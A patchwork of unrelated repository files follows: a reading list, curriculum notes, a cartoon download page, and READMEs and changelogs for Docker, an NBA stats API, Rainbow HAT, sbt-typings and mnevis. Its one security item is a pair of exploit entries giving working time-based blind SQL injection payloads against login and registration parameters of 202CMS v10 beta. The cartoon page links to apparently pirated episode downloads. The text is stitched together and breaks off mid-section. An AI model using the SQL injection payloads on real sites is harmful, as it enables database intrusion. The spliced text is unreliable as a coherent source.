Kormina, Jeanne. 2022. [“Very Dark Anthropology: Aphasia, Presentiment of a Civil War, and Anthropology at Home.”](https://culanth.org/fieldsights/very-dark-anthropology-aphasia-presentiment-of-a-civil-war-and-anthropology-at-home) Translated by Catherine Wanner. *Fieldsights*. March 28.

## Books and Journal Articles:

### Books:
Slezkine, Yuri. 2017. *The House of Government: A Saga of the Russian Revolution*. Princeton: Princeton University Press.

Thacker, Eugene. 2015. *Cosmic Pessimism*. Minneapolis: Univocal.

### Journal Articles:
Maidansky, Andrey and Nikolai Biryukov. 2021. “Remolding the Human: The Transhumanist Ideas in Marx and Russian Marxists.” *New Proposals: Journal of Marxism and Interdisciplinary Inquiry* 12 (1): 41–48.

Sideris, Lisa H. 2017. “Biosphere, Noosphere, and the Anthropocene: Earth’s Perilous Prospects in a Cosmic Context.” *Journal for the Study of Religion, Nature & Culture* 11 (4): 399–419.

## Films:
#### [↻ = Rewatch]

[Jauja (2014)](https://letterboxd.com/trgenovese/film/jauja/)

[The Batman (2022)](https://letterboxd.com/trgenovese/film/the-batman/)

___
###### Image: Taylor R. Genovese, April 19, 2022, Pines, Pine, Arizona.

repository: trgenovese/blog

repo_name: trgenovese/blog


text:
EXP

===========================================================================================
# Exploit Title: 202CMS - 'log_user' SQL Inj.
# Dork: N/A
# Date: 20-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/b202cms/
# Software Link: https://sourceforge.net/projects/b202cms/
# Version: v10 beta
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: 202CMS is small, but functionally CMS. It is based
on Twitter Bootstrap
  This CMS was built by Konrad and is powered by MySQLi and PHP. 202CMS is
highly customizable
  and extremely easy to setup. The script is not finished, but soon I'm
going to finish it.
===========================================================================================
# POC - SQLi (blind)
# Parameters : log_user
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# POST Method : http://localhost/202cms10beta/index.php
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: 202CMS - 'register.php' SQL Inj.
# Dork: N/A
# Date: 20-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/b202cms/
# Software Link: https://sourceforge.net/projects/b202cms/
# Version: v10 beta
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: 202CMS is small, but functionally CMS. It is based
on Twitter Bootstrap
  This CMS was built by Konrad and is powered by MySQLi and PHP. 202CMS is
highly customizable
  and extremely easy to setup. The script is not finished, but soon I'm
going to finish it.
===========================================================================================
# POC - SQLi (blind)
# Parameters : register.php, reg_user,reg_mail
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# Attack Pattern : %27%2b((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2b%27
# POST Method : http://localhost/202cms10beta/register.php
===========================================================================================

branch_name: refs/heads/main


text:
---
layout: "unit"
title: "Guide Entry 00.01.06"
path: "/curriculum/guides/2000/1/00.01.06.x.html"
unitTitle: "Galeria De Pinturas"
unitAuthor: "Michelle Sepulveda"
keywords: ""
recommendedFor: "Recommended for Drama and Dance, grades 5-8."
---

Guide Entry to 00.01.06:

"

Galeria De Pinturas

”

is a curriculum unit designed to enlighten middle school students about Caribbean culture through the eyes of women writers. Through the use of essays and short stories, students will create dramatic pieces and sketches that will form the basis of choreography and poetry to be presented to the school body.  A dramatic tool known as creating tableaus will be used to craft visual images that will be brought to life by the students.

Obviously, senses and sounds, as well as sights and scenes, will be used to be realistic when presenting the pictures that will make up the gallery.  The use of frames built in Drama class will highlight the presentations in a frozen mode before coming to life.

The students will read material from three distinct islands in the Caribbean-Puerto Rico, Cuba, and The Dominican Republic.  Through the study of these cultures we will identify the similarities and differences of these three countries.  Our student body at West Hills Middle School has representation of these three cultures among it.  The study of the Caribbean will enlighten the students about their peers as well as help us to celebrate National Hispanic Month from a fresh and feminine perspective.

(Recommended for Drama and Dance, grades 5-8.)

gha_language: HTML


text:
---
title: "Hagemaru Season 1 Episodes In Tamil"
date: "2020-08-10"
---

# Hagemaru Season 1 Episodes In Tamil

[![](https://1.bp.blogspot.com/-_njRHxcKh60/Xxce_v8g1eI/AAAAAAAACEI/3vxglzRyje4EUct3gLAXnkNDLC_urtcywCLcBGAsYHQ/w400-h219/Hagemaru.jpg)](https://1.bp.blogspot.com/-_njRHxcKh60/Xxce_v8g1eI/AAAAAAAACEI/3vxglzRyje4EUct3gLAXnkNDLC_urtcywCLcBGAsYHQ/s800/Hagemaru.jpg)

**About This Content: Hagemaru Hageda is a fourth grade student, who lives with his parents. They will do anything to save their money and this is a plotline for many episodes. Hagemaru also has a pet dog named Pesu, who often comments about Hagemaru’s family being too miser and not giving him anything to eat.**

### **INFORMATION:
NAME: HAGEMARU SEASON 1 EPISODES
LANGUAGE: TAMIL
QUALITY: 480P SOME OF THE EPISODES ARE TV RIP
                                               ENCODED BY: **UNITAMILCARTOONS**** **SOME EPISODES CREDITS: TOON TAMIZH**

**##### **NOTE: ALL THE EPISODES ARE NOT ARRANGED IN ORDER..****

****EPISODES LIST:****

**Episode 1: The Birth of Hagemaru,Best 10 Short Stories,Always Misbehaving at School (Mega Server)
**

**[Watch|Download](https://gplinks.co/P90y)**

****

 **Episode 2: Hagemaru’s Mom is Stingy Behaviour,Best 10 Short Stories,Happy Birthday Miss Sakura**

**(Mega Server)**

**[Watch|Download](https://gplinks.co/6ss0h)**

**Episode 3:The New School Term,Best 10 Short Stories,The Stingy Attitude Games**

 **(Mega Server)
**

**[Watch|Download](https://mega.nz/file/uUJEECaS#c2Lw1fSo9z0n9WL8Ttz38kOfJq0ssMlUxtpZ4u-Iqns)**

****

****

**Episode 7: Fishing With Dad**

**

**

**(Mega Server)**

**[Watch|Download](https://gplinks.co/4inJPnje)**

****

****

**Episode 8: One Day At Amusement Park,Best 10 Short Stories,The Life Of Train**

 **(Mega Server)
**

**[Watch|Download](https://mega.nz/file/2cZigSZL#3yqFqpQmBOGa49N7NvmEOuA98kPPiiiNCqidbeBu6vY)**

****

**

**

****

**Episode 11:Elvis’ Elegy,Best 10 Short Stories,Cycling Around The City Of Tokyo**

 **(Mega Server)
**

**[Watch|Download](https://mega.nz/file/SFQyzIoB#6SPcNjT1LNSZ_vgvwM8TRoLp0gEEnKu5Um8jl6lyNKI)**

****

****

****

**Episode 12:**

**Hagemaru Tamil Episode 12 Call It Again, Hagemaru Best 10 Short Stories,Annual School Sports Day**

**(Mega Server)**

**[Watch|Download](https://gplinks.co/ghiio)**

**Episode 13: I Will say Only The Truth,I Also Have Friends,Jill’s Birthday And Best 10 Short Stories**

**(Mega Server)**

**[Watch|Download](https://mega.nz/file/KEBQgajT#SxwFONJHh27-gHEDINDR-ICsoK9_WRz3g_mPFl3N9X4)**

 **Episode 14 :Is This A House,2 Episodes And Best 10 Short Stories**

**(Mega Server)**

**[Watch|Download](https://mega.nz/file/WQJSXCxY#9vqnVEQw2Lyw8S9qWuqUkYstgWOBLB90ITbtVmRcqXE)**


text:
# Docker Mastery: The Complete Toolset From a Docker Captain

> Build, compose, deploy, and manage Docker containers from development to DevOps based Swarm clusters

This repo is for use in my Udemy Course https://www.bretfisher.com/dockermastery

Feel free to create issues or PR's if you find a problem.

repository: Arkiant/udemy-docker-mastery

repo_name: Arkiant/udemy-docker-mastery


text:
## **NBA Stats Api**
> An API with statistics about current and retired NBA players and teams

[![MIT license](https://img.shields.io/badge/License-MIT-blue.svg)](https://lbesson.mit-license.org/)
[![ForTheBadge built-with-love](http://ForTheBadge.com/images/badges/built-with-love.svg)](https://GitHub.com/NickLont/)
[![Ask Me Anything !](https://img.shields.io/badge/Ask%20me-anything-1abc9c.svg)](https://github.com/NickLont/nba_stats_api/issues/new)
[![js-standard-style](https://img.shields.io/badge/standard-javascript-yellow.svg?style=flat-square)](https://github.com/feross/standard)
[![GitHub stars](https://img.shields.io/github/stars/NickLont/nba_stats_api.svg?style=social&label=Star&maxAge=2592000)](https://GitHub.com/NickLont/nba_stats_api/stargazers/)

### Introduction

This API serves as an abstraction on top of the Official NBA Statistics API ([http://stats.nba.com/stats/](http://stats.nba.com/stats/)), which is still undocumented.

### Setup instructions
If you have Docker Engine installed locally, you can run the following composer command in your shell regardless of which operating system you are using.
```
git clone https://github.com/NickLont/nba_stats_api.git
cd nba_stats_api
docker-compose build
docker-compose up
```

If not install from: [https://docs.docker.com/install/](https://docs.docker.com/install/)

`.env.sample` file needs to be renamed to `.env` and be given valid values

Run tests using
`yarn test`
or
`npm run test`

Run test coverage using `yarn cover` or `npm run cover`

### Usage

Opening the browser to `localhost:3011/swagger/` will give access
to the swagger interface (through nginx).
The endpoints are separated in three categories: `Users`, `Players` and `Teams`.
Every endpoint has an example that can be run by pressing the `Try it out` button and then the `Execute` button.
The result will appear right below, with details about the call.

Here, the user can also see the expected response codes and messages of each endpoint and also change/set the query parameters.

The API uses JWT authentication, so only valid logged in users can access the `Players` and `Teams` endpoint groups.
This is visible from the lock icon on the right side of these endpoints and if the user tries to execute the call a `403: "failed": "No token provided"` answer will be returned.

To authenticate, a user must use the `/user/signin` end point with the example or another valid User. This will return an answer in the form of:
```
{
  "success": "JWT Authorized",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im5pY2tAdG91Y2h0cmliZS5ubCIsIl9pZCI6IjViMzI1ODZkY2Y1MjNiZmI5NzZkNjk4NiIsImlhdCI6MTUzNTYyNjYxMiwiZXhwIjoxNTM1NjMzODEyfQ.gBZGkzJq_upJK06oN5ZsztQwQd9nrR5atwXbCVZqajQ"
}
```
Then, copy the `token` value, press the green `Authorize` button at the top right corner, paste it at the Value input field, press Authorize and finally Close.

The lock icon should now appear locked and the user should have access to all of the protected endpoints.

 ![Example](http://recordit.co/2nqMzIUitH.gif)

To use the endpoints programmatically, the token returned from the `/user/signin` endpoint should be placed in the Authorization header, with a value of either Bearer + Token (`Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im5pY2tAdG91Y2h0cmliZS5ubCIsIl9pZCI6IjViMzI1ODZkY2Y1MjNiZmI5NzZkNjk4NiIsImlhdCI6MTUzNTYyOTcxNywiZXhwIjoxNTM1NjM2OTE3fQ.anuW3jv8i84SuHVm-2T5ITgini_e_LntAWF9Bp5zU2s`)
 OR just the token (`Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im5pY2tAdG91Y2h0cmliZS5ubCIsIl9pZCI6IjViMzI1ODZkY2Y1MjNiZmI5NzZkNjk4NiIsImlhdCI6MTUzNTYyOTcxNywiZXhwIjoxNTM1NjM2OTE3fQ.anuW3jv8i84SuHVm-2T5ITgini_e_LntAWF9Bp5zU2s`)

### Technologies used / features

[Node v10.8.0](https://github.com/nodejs/node) with [express](https://github.com/expressjs/express) and [npm 6.4.0](https://www.npmjs.com/) / [yarn 1.9.4](https://github.com/yarnpkg/yarn ) for development

MongoDB database hosted in [https://mlab.com/](https://mlab.com/) with [mongoose](https://github.com/Automattic/mongoose) for ORM

[axios](https://github.com/axios/axios) as HTTP client

[bcrypt](https://github.com/kelektiv/node.bcrypt.js/) for password hashing

[joi](https://github.com/hapijs/joi) for schema validations

[swagger-jsdoc](https://github.com/Surnet/swagger-jsdoc) for swagger interface

[ava](https://github.com/avajs/ava) as async, concurrent test runner

[supertest](https://github.com/visionmedia/supertest) for integration testing / assertions

[nyc](https://github.com/istanbuljs/nyc) for coverage reports

[redis 4.0.11](https://redis.io/) for in-memory data caching

[nginx 1.15.2](https://www.nginx.com/) as a reverse-proxy

[Docker 18.06.0](https://www.docker.com/) to isolate the different parts of the application to containers and Compose to run them

### Licence
This project is licensed under the MIT License

### Contributing

1. Fork it (<https://github.com/NickLont/nba_stats_api/fork>)
2. Create your feature branch (`git checkout -b feature/fooBar`)
3. Commit your changes (`git commit -m 'Add some fooBar'`)
4. Push to the branch (`git push origin feature/fooBar`)
5. Create a new Pull Request


text:
---
title: "Tools for Thought"
date: 2021-10-30
tags:
- sapling
---

> "When designing new tools for thought, let’s think not just in terms of features, but materials – _what software laws of physics do we want embodiments of our thoughts to obey?_"

Related: [Extended Mind Hypothesis](thoughts/Extended%20Mind%20Hypothesis.md), [Networked thought](posts/networked-thought.md), [interaction design](thoughts/interaction%20design.md), [[thoughts/memex]]

Questions:
1. How can we create tools that aid our thinking? How can we extend the range of thoughts we can think?
2. As an extension, how do we organize the abundance of [information](thoughts/information.md) we have today so that it is both accessible and useful?
3. How do we distill all the [research debt](thoughts/research%20debt.md) so that our ideas are easily useful to others?
4. How can we make mixed media first-class? Allow drawing, images, and video? Bring back the overhead projector!

Can we do this on a browser-level rather than just a standalone app? Building in curius.app-esque support, annotations, note-taking, etc. Minimize context switching

## Capture-organize-synthesize loop
[Source](https://subconscious.substack.com/p/unconscious-r-and-d)

-  Why do file systems force you to name a file (_synthesize_), and place it in a folder (_organize_) before you can write in it (_capture_)?
-  Why do Word Processors present you with a blank page (_synthesize_) instead of offering scratch notes (_capture_) that are relevant (_organize_) to your writing goals?
-  Why do we expect ourselves to create good ideas from nothing (_synthesize_)? It’s much easier to generate ideas when you have lots of material (_capture_) clustered by themes and relationships (_organize_)

Mixing up the order of _capture-organize-synthesize_ causes friction. It forces us to make decisions before we’re ready.

See also: [reverse outlining](https://maggieappleton.com/reverse-outline)

## Thought as a technology
[Source](https://cognitivemedium.com/tat/index.html)

- How can we invent new elements of cognition?
- How can we reify internal mental models?
- Not all visualization is good
	- There is a cargo cult mentality which embraces visualization for the sake of visualization. In fact, there is no _a priori_ reason a visual approach is superior

## Word Charcuterie Board
Is there any way to rearrange the fuzzy cloud of ideas in our head easily on paper/screens?

How can we 'cut' text without being afraid of it being lost forever? Even with tools like the undo button and [[thoughts/git|Git]] revision history, the actions of the past are by default hidden. Time is not first class.

## On memory and [lost knowledge](thoughts/lost%20knowledge.md)
> If a tree fell and nobody remembered, did it really happen?

Very 1984-line-of-thought but those who control the past, how we remember and what history is, controls the present and thus controls the future.

Our tools of memory should be democratized and public. These tools are a [public good](thoughts/public%20goods.md). They are, quite literally, the [infrastructure](thoughts/infrastructure.md) for mental representations and operations. These are the patterns the dictate our very mental processes.

## Kernel
[Source: Remember in *Kernel*](https://kernel.community/en/learn/module-3/remember)

We live in an [information](thoughts/information.md) age. The amount of data we produce far outweighs what we consume, so much so that its extended far beyond our ability to make meaningful use of it.

> "There is a growing mountain of research [but we] cannot find time to grasp, much less to remember, all the conclusions of others as they appear. Yet specialization becomes increasingly necessary for progress, and the effort to bridge between disciplines is correspondingly superficial [...]

A record should be able to be
1. continuously extended
2. stored
3. consulted (e.g. through search)

Right now, most [organizing systems](thoughts/organizing%20system.md) are really good at 1) and 2) but suck at 3).

We're trying to build tools that allow association between ideas easily, relying on relations and relatedness [without forcing hierarchies or classification straight away](thoughts/A%20City%20is%20not%20a%20Tree.md). Then, the path through these ideas can be thought of as 'user trails'.

### Chunking
We naturally group things into patterns and chunks and allow us to think on and rationalize at higher levels of abstraction, descending into lower levels only when we need to.

This was demonstrated by chess masters in the 1970's: "Players learn to recognize somewhere between 25,000 and 100,000 **patterns of chess pieces**. These much more elaborate 'chunks' are combinations of pieces that the players **perceive as a unity**, and are able to reason about at a higher level of abstraction than the individual pieces"

Is it possible to automatically pick up repeated digital [desire paths](thoughts/desire%20paths.md) of user trails and pull them into [workflows](thoughts/workflows.md)? take advantage of natural spaced repetition to identify saliency

The focus of modern information systems is moving from "data-processing" towards "concept-processing", meaning that the basic unit of processing is less and less an atomic piece of data and is becoming more a semantic concept which caries an interpretation and exists in a [context](thoughts/context.md) with other concepts.

[Source: Automated knowledge discovery in advanced knowledge management](https://www.researchgate.net/publication/220363565_Automated_knowledge_discovery_in_advanced_knowledge_management)

Are there ways to 'breadcrumb' how we navigate? Even something as simple as option+click to leave a crumb and when finishing a session, you can save parts of the trail as a flow.

### Spatial
Can we create spatial reminders that adhere to their contexts? Sticky notes for our mind? A reminder in certain notes to come back later and add to it, etc. Can we build [memory palaces](thoughts/memory%20palace.md)? [[thoughts/spatial computing|Spatial]] representations of information?

### Emotion
Video is incredibly expressive. You can *feel* the passion of people who really care about the things they study, build, and work on.

Is it possible to create mediums for thought that convey 'awe and mystery and surprise and beauty'? I really hope so.

### Execution
Can we embed computation into our notes? Create APIs out of our thoughts and concepts? Compose theorems just as easily as we chain function calls?

## Activism
[Source: On Gathering, *Mindy Seu*](https://www.shiftspace.pub/on-gathering-mindy-seu)

Memory work of this sort is also a form of activism. Whose memories are saved and retold to future generations?

After a conversation, all parties maintain ownership of what transpired, and they continue to hold ties to one another. This form of storytelling is not predetermined, but develops through its unfolding.

## Tasting Notes
[Robin Sloan shares his recipe for taking notes that spark novels](https://every.to/superorganizers/tasting-notes-with-robin-sloan-25629085)

> But the interesting thing about Robin is he doesn’t look at these things as bricks exactly. They don’t combine together in predictable, linear ways.
>
> Instead, Robin’s notes are more like ingredients—deep yellow saffron, Ceylon cinnamon, black garlic, and white truffle—bits of the world that he throws together into a pot and covers with a heavy lid. He turns up the heat, he adds salt to taste—until out comes a story.

path: /content/thoughts/tools for thought.md

branch_name: refs/heads/hugo

filename: tools for thought.md

gha_language: SCSS


text:
---
app: com.insomnia.app
date: 2017-10-12
title: Insomnia v5.9.2 Release
slug: 5.9.2
channel: stable
major:
- Can now use environment variables inside template tags
fixes:
- Autocomplete no longer breaks on template tags containing no arguments (rare case)
- Null values in environments no longer cause problems
- Fix client certificates not working sometimes on Windows
- Fix AWS auth for non POST/GET methods
minor:
- Support attribute XPath queries
- Faster prettify for large responses
- File downloads now use name from Content-Disposition header when available
- Upgrade to React 16 (10% faster render performance)
- Auto-select active environment when opening environment editor
- Added menu option to show app data folder
- Improved robustness of template tag editor
---


text:
# Changelog
All notable changes to this project will be documented in this file.

The format is based on
 [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to
 [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [0.2.1-alpha] - 2019-3-31
### Added
[@Ball Chang]

- New class BThread for managing thread object better.
- Synchronize mechanism for waiting task finished.
- Auto-destroy task after execution.
- Group task for managing bunch of related tasks.
- Add class BTimer for timing execution time and do timed task.
- Add sphinx documentation support.
- Add task priority feature, high priority task must be scheduled
prior than low priority task.
- Add a new changelog to record the development of this project.

### Changed
[@Ball Chang]

- Using a new style of readme.
- Set more thread properties, such as CPU affinity.
- Follow Google C++ Style.
- Separate the implementation of public members and private members.
- Using cmake to manage and build project.
- Using travis ci to build the project instead of gitlab ci.
- Fixed some memory leak bugs.

### Removed
[@Ball Chang]

- Removed the dependency of protobuf in example project.

## [0.1.1-alpha] - 2018-10-22
### Added
[@BallChang]

- Fundamental framework of BThreadPack [@BallChang].
- Message queue mechanism for interthread communication.

[Unreleased]: https://gitlab.com/zhangbolily/bthreadpack/tree/dev
[0.1.1-alpha]:
 https://gitlab.com/zhangbolily/bthreadpack/tree/v0.1.1-alpha
[0.2.1-alpha]:
https://gitlab.com/zhangbolily/bthreadpack/tree/v0.2.1-alpha

[@Ball Chang]: https://gitlab.com/zhangbolily

repository: zhangbolily/BThreadPack

repo_name: zhangbolily/BThreadPack


text:
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: enhancement
assignees: ''

---

**Before submitting a feature request**
- Version update is not considered as a new feature
- Make sure to read existing issues to see if the feature request has not been already asked
- Keep in mind we work on this mod for <u>our personal needs</u> and I only decided to open it to the community because I knew there are not a lot of mods like this.

**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]

**Describe the solution you'd like**
A clear and concise description of what you want to happen.

**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.

**Describe if it is related to another mod**
A clear and concise description of how you would like Authmod to interact with another mod.

repository: Chocorean/authmod

gha_language: Java

repo_name: Chocorean/authmod


text:
![Rainbow HAT](rainbowhatpimoroni.png)

Rainbow HAT is a flexible IO exploration board with multiple devices covering i2c, SPI, generic GPIO.

This repository contains the Pimoroni Python driver for Rainbow HAT, for use with Raspbiban on your Raspberry Pi.

For the official AndroidThings driver see: https://github.com/androidthings/contrib-drivers/tree/master/rainbowhat

## Installation

**Full install ( recommended ):**

We've created a super-easy installation script that will install all pre-requisites and get your Rainbow HAT up and running in a jiffy. To run it fire up Terminal which you'll find in Menu -> Accessories -> Terminal on your Raspberry Pi desktop like so:

![Finding the terminal](terminal.jpg)

In the new terminal window type:

```bash
curl https://get.pimoroni.com/rainbowhat | bash
```

If you choose to download examples you'll find them in `/home/pi/Pimoroni/rainbowhat`.

**Library install for Python 3:**

on Raspbian:

```bash
sudo apt-get install python3-rainbowhat
```
other environments:

```bash
sudo pip3 install rainbowhat
```

**Library install for Python 2:**

on Raspbian:

```bash
sudo apt-get install python-rainbowhat
```
other environments:

```bash
sudo pip2 install rainbowhat
```

## Documentation & Support

Getting started - http://learn.pimoroni.com/tutorial/sandyj/getting-started-with-rainbow-hat-in-python
GPIO Pinout - https://pinout.xyz/pinout/rainbow_hat
Get help - http://forums.pimoroni.com/c/support

## Community Links

* Control Rainbow HAT from the web with Anvil - [https://anvil.works/articles/pimoroni-rainbow-hat](https://anvil.works/articles/pimoroni-rainbow-hat?utm_source=pimoroni)

repository: pimoroni/rainbow-hat

gha_language: Python

repo_name: pimoroni/rainbow-hat


text:
# Data Wishlist

## Building Retrofit Data

                    *so that (1) consistency can be achieved across modelling results, (2) to create a fully representative residential synthetic stock for all of Ireland and (3) to understand the penetration and predominant types of systems used.

            Would like...

                    Score
                    /
                    Total

            %
            Date

                Pre/Post* retrofit capital (by measure if possible) & ongoing (utility bills before/after) costs.

            ?/?
            ?
            04/02/2021

                Pre/Post*  retrofit measures (such as type and thickness of insulation materials used, U-value, BER, heating and ventilation systems type and model).

            ?/?
            ?
            04/02/2021

                Pre/Post* retrofit energy consumption baselines

            ?/?
            ?
            04/02/2021

                Pre/Post* retrofit timeframes

            ?/?
            ?
            04/02/2021

                Pre/Post* renovation intent and updates to this intent

            ?/?
            ?
            04/02/2021

## [BER Public search](Data-Sources.md#buildings) to include...

            Would like...

                    Score
                    /
                    Total

            %
            Date

                MPRN/BER number matched to CSO data ... so that there is a consistency and comparability in the data collected by SEAI and CSO regarding building typologies.

            ?/?
            ?
            04/02/2021

                Actual geometry and orientation data on each BER record (or a representative sample) ... to enable dynamic simulation and validation of individual dwellings energy consumption.

            ?/?
            ?
            04/02/2021

                'Expired’ BER certificates on the same MPRN number (e.g. after the 10 year validity period or when works have been carried out and the old BER is overwritten) ... to enable pre and post-works comparison.
            ?/?
            ?
            04/02/2021

                Anonymised BER audit data ... so that the percentage errors can be used to explore the confidence level that we can have in the data collected.
            ?/?
            ?
            04/02/2021

## Building Usage Data

            Would like...

                    Score
                    /
                    Total

            %
            Date

                Residential & non-residential metered electricity consumption data at Small Area level ... so that town/city/country scale model estimates can be validated against actual usage data.

            ?/?
            ?
            04/02/2021

                Residential & non-residential metered gas consumption data at Small Area level ... so that town/city/country scale model estimates can be validated against actual usage data.

            ?/?
            ?
            04/02/2021

                Building Management System (BMS) and energy data from non-residential buildings in Ireland.
            ?/?
            ?
            04/02/2021

            Indoor air quality (IAQ) data for residential buildings in Ireland.
            ?/?
            ?
            04/02/2021

            Detailed Energy Demands linked to Appliance usage.
            ?/?
            ?
            20/04/2021

## Google Forms

### Suggestions

Loading…

### Vote

Feel free to skip entries if:

1. It has no relevance to you.
2. You have already voted and want to vote on new entries.

Loading…

repository: rdmolony/ireland-energy-wiki

repo_name: rdmolony/ireland-energy-wiki


text:
sbt-typings
==========

A very simple [sbt-web] plugin for installing TypeScript [typings](https://github.com/typings/typings) definitions.

Largely based off the [install command](https://github.com/typings/typings/blob/master/docs/commands.md).

Add plugin
----------

```scala
addSbtPlugin("org.jesusthecat" % "sbt-typings" % "0.1.0")
```

Your project's build file also needs to enable sbt-web plugins. For example with build.sbt:

    lazy val root = (project in file(".")).enablePlugins(SbtWeb)

Configuration options
-------------

Option              | Description
--------------------|------------
appDir              | [Typings](https://github.com/typings/typings) expects to find typings.json in the root of this directory.
prod                | Install only production dependencies (omits dev dependencies)

For example, to enable `prod`

```scala
TypingsKeys.prod in Assets := true
```

Commands
--------------

Command             | Description
--------------------|------------
typings             | Grab project typings
typingsStage        | As per `typings` but as a pipeline-stage

See the file LICENCE for copying permission.

repository: ayuudee/sbt-typings

repo_name: ayuudee/sbt-typings


text:
# Bracket Notation

Bracket notation enables convenient access to object properties and array elements. Bracket notation is especially useful when the property name is stored in a variable, computed dynamically, or when accessing array elements using indices. Jora supports bracket notation, similar to JavaScript, by enclosing the property name or index within square brackets (`[]`). You can also use bracket notation for the current value by using `$['name']`.

```jora
person['name'] // Accesses the `name` property of the `person` object
```

```jora
items[0] // Accesses the first element of the `items` array
```

## Optional chaining

In Jora, optional chaining is enabled by default for both [dot](./dot-notation.md) and bracket notations, meaning there is no special syntax required for optional chaining. This built-in functionality allows for more concise and error-free code when accessing properties or elements that may not exist.

Property access syntax in Jora is used for element access in arrays or characters in strings, making it versatile and consistent across different data types.

## Using functions with bracket notation

When a function is used with bracket notation, the notation returns the first value or element for which the function returns a truthy value. The context of a function varies depending on the data type:

- For arrays and strings: `$` – current element/char, `$$` – index
- For objects: `$` – value of entry, `$$` – key of entry

Consider the following example:

```jora
$items: [
    { id: 1, name: 'Foo' },
    { id: 2, name: 'Bar' },
    { id: 3, name: 'Baz' }
];

$items[=> id = 2]
// Result: { id: 2, name: 'Bar' }
```

In this example, the function used with bracket notation returns the first object in the `$items` array with an `id` property equal to 2.

Next query uses bracket notation to find the first object within `$items` that meets two conditions: the property key (entry key) matches the regular expression `/^item/` and `price` property of the object (entry value) must be greater than or equal to 20.

```jora
$items: {
    item1: { id: 1, name: 'First Item', price: 10 },
    item2: { id: 2, name: 'Second Item', price: 20 },
    item3: { id: 3, name: 'Third Item', price: 30 }
};

$items[=> $$ ~= /^item/ and price >= 20]
// Result: { id: 2, name: 'Second Item', price: 20 }
```

## Negative indexing

Jora supports negative indexing for arrays and strings, allowing you to access elements from the end of the array or string by specifying a negative index.

```jora
[1, 2, 3, 4, 5][-2]
// Result: 4
```

In the example above, the negative index `-2` accesses the second-to-last element in the array, which is the number 4.

## Examples

### Computed property access

```jora
$prop: 'name';
person[$prop] // Accesses the `name` property of the `person` object
```

### Accessing elements in a nested array

```jora
$matrix: [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
];

$matrix[1][2]
// Result: 6
```

### Accessing characters in a string

```jora
$text: 'Jora';
$text[2]
// Result: 'r'
```

### Find the first element in an array that meets multiple criteria

```jora
$items: [
    { category: 'A', value: 5 },
    { category: 'B', value: 10 },
    { category: 'A', value: 15 },
    { category: 'C', value: 20 },
    { category: 'A', value: 25 }
];

$items[=> category = 'A' and value >= 20]
// Result: { category: 'A', value: 25 }
```

repository: discoveryjs/jora

repo_name: discoveryjs/jora


text:
# Deprecation
This project has been discontinued and the work is now focused on [Khepri](https://github.com/rabbitmq/khepri).

# Mnesia with Raft Consensus

This is an attempt to implement a highly consistent Mnesia transaction implementation on top of the Raft consensus algorithm.

The goal of this project is to remove Mnesia's clustering and distribution layer due to it's
highly opinionated and flawed approach to recovery from network partitions.

This project is created for RabbitMQ and will mostly target features required
by the RabbitMQ.

## Usage

You need to start a mnevis ra node and trigger election:

```
mnevis:start("my/ra/directory").
```

This will start a single node cluster. Not so useful.

To start a multi-node configuration, you will have to provide `initial_nodes`
environment variable to the `mnevis` application:

```
[
{mnevis, [{initial_nodes, [node1, node2]}]}
].
```

If you use nodenames without domains, the `inet_db:gethostname()` is used.

If your application includes mnevis as a dependency, you will also have to
provide a ra directory, because it's used by ra on application start,
**this should be fixed in future ra versions**

```
[
{ra, data_dir, "my/ra/directory"},
{mnevis, [{initial_nodes, [node1, node2]}]}
].
```

In this case you can run
```
application:ensure_all_started(mnevis),
mnevis_node:start().
```

To start a node.

To make sure all nodes are started, you can run
```
{ok, _, _} = ra:members(mnevis_node:node_id()).
```

If everything is fine, you should be able to use mnevis transactions.

If you want to integrate with existing mnesia configuration, **you should configure
mnesia first**, and then start a mnevis node.

**Mnesia should not be clustered on the same nodes as mnevis
this behaviour is undefined.**

TODO: more info on configuration

You can run transactions the same way as in mnesia:

```
{atomic, ok} = mnevis:transaction(fun() -> mnesia:write({foo, bar, baz}) end).
```

## How does it work?

This project is trying to mimic the mnesia API as close as it makes sense.

For example, to run a transaction:

```
%% Mnesia transaction
{atomic, ok} = mnesia:transaction(fun() ->
    ok = mnesia:write({foo, bar, baz}),
    [{foo, bar, baz}] = mnesia:read(foo, bar),
    ok = mnesia:write({foo, bar, bazz})
end).

%% Mnevis transaction
{atomic, ok} = mnevis:transaction(fun() ->
    ok = mnesia:write({foo, bar, baz}),
    [{foo, bar, baz}] = mnesia:read(foo, bar),
    ok = mnesia:write({foo, bar, bazz})
end).
```

Note that the transaction function code is exactly identical.
Mnevis is designed to support (most of) mnesia transaction functions as is.

#### Key facts

- Locks are coordinated using a lock process during a transaction
- Reads are performed locally after aquiring a lock. More on read synchronisation below.
- Writes are preformed on mnesia DB on commit.
- Commits are coordinated with the Raft cluster
- Commit runs a mnesia transaction, which can abort and it aborts a mnevis transaction.

### Transactions on the caller side

